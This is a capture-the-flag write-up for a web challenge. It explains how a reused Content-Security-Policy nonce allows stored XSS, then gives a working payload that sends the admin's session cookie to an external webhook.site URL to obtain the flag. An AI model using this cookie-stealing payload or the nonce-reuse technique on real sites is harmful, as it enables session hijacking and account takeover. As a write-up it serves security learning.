We got a webpage with a text input that we can send to 2 different pages.
<center>
<title>L29 WEBINAR</title>
<form id="form1" action="preview.php" method="post" class="">
<h1>Welcome to my Webinar,
<span>Leave your message here!</span>
</h1>
<img src="l29_logo.png" alt="L29_IS_HERE">
<br>
<textarea name="content"></textarea>
<label>
</form>
<br>
<button onclick="form1.submit();">preview</button> <button onclick="form1.action='submit.php';form1.submit();" id="report" disabled="disabled">report</button>
<script type="text/javascript">
window.onload=function() {
setTimeout(function(){
document.getElementById('report').disabled = null;
},20000);
}
</script>
<p>Please report every 20 seconds<p>
</center>
We tried to give random stuff to both pages preview.php
and submit.php
preview.php
just previews the message, as expected
submit.php
gives us a hint that an admin will view the message.
So we went to check the source of preview.php
, and there’s some javascript code with a nonce
attribute, looks like some debugging code leftover or really just a hint.
We can also see the same nonce
value in the html head, and it has an interesting string alongside it, ‘Content-Security-Policy’. So after some googling, we know that only script tags with the same nonce
value as the one in the head is allowed to run. BUT the nonce
value is supposed to be only used once and then thrown away, something like a CSRF token, BUT this page doesn’t do that. We tried to submit another string to preview.php
and the nonce
value is still the same.
Let’s try a regular XSS attack, qwe<script>alert(1)</script>
Didn’t run, now let’s try to give it the nonce
value, so our XSS payload will be qwe<script nonce="ee4acf3f4f6e7b632e806741f29e463b">alert(1)</script>
It works, we have XSS! We looked for some more clues and found that we have a cookie, PHPSESSID
, looks like we’re going to steal the admin cooke with XSS then.
Let’s set up a webhook to catch our request, and try out a simple cookie stealing XSS. Also, we’ll send it to submit.php
this time since the admin will visit there.
<script nonce="ee4acf3f4f6e7b632e806741f29e463b">
window.location = 'https://webhook.site/1f6dfc05-fa80-490a-a2db-14f57ecc48ae/'+document.cookie;
</script>
We just append the admin cookie in our request to our webhook. Not long after submitting, we got the admin cookie which is actually the flag.
hacktoday{nonce_cookie_XSS_U_GOT_THE_BOUNTY}
‹ Previous in Web exploitation: stromeo | Next in Web exploitation: only admin 2 › |